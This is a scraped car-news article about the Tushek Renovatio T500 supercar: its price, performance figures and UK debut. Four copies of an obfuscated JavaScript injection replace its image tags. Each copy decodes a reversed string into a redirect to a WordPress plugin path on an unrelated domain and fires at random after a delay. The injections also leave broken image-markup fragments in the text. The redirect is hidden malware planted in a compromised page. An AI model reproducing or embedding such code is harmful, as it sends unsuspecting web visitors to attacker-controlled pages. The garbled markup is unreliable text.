$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/08/press-release-5.jpg” alt=”” width=”728″ height=”484″ />
Since every feature that is posted live on crankandpiston is read, re-read memorized, then waxed about lyrically amongst the massive (well, we assume at least anyway), most of you will already be aware of the Renovatio T500 supercar from Slovenian firm Tushek.
Slovenia. Yep, you did read that correctly.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/08/press-release-3.jpg” alt=”” width=”728″ height=”484″ />
Publicity for the Renovatio seems to be running ahead nicely. The supercar will make its UK debut at the Salon Privé concourse event in September just a few months after its global debut at Top Marques in Monaco. Which considering it carries an eye-watering, Monaco-esque price tag of €300,000 seems quite fitting.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/08/Tushek-Renovatio-4.jpg” alt=”” width=”728″ height=”435″ />
Don’t be fooled though. This ‘no-frills, yet accomplished and user-friendly supercar’ packs a hefty 450hp from the 4.2l V8 bolted down in the middle and a manual six-speed gearbox, resulting in a 3.7s 0-100kph time, a 310kph top speed, and (this is worth mentioning) 1.7 lateral g-force reading.
No frills? Well, there are potentially thrills at least anyway.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/08/tumblr_m404t7LvCd1rs5yl2o1_1280.jpg” alt=”” width=”728″ height=”418″ />
And even though the limited edition Renovatio T500 has yet to hit the showrooms, its successor (given the teaser pic currently on Tushek’s official website) is already waiting in the wings. Details though of the questionably-named Forego T700, which is due to arrive at some point next year, are being kept close to the chest at present.
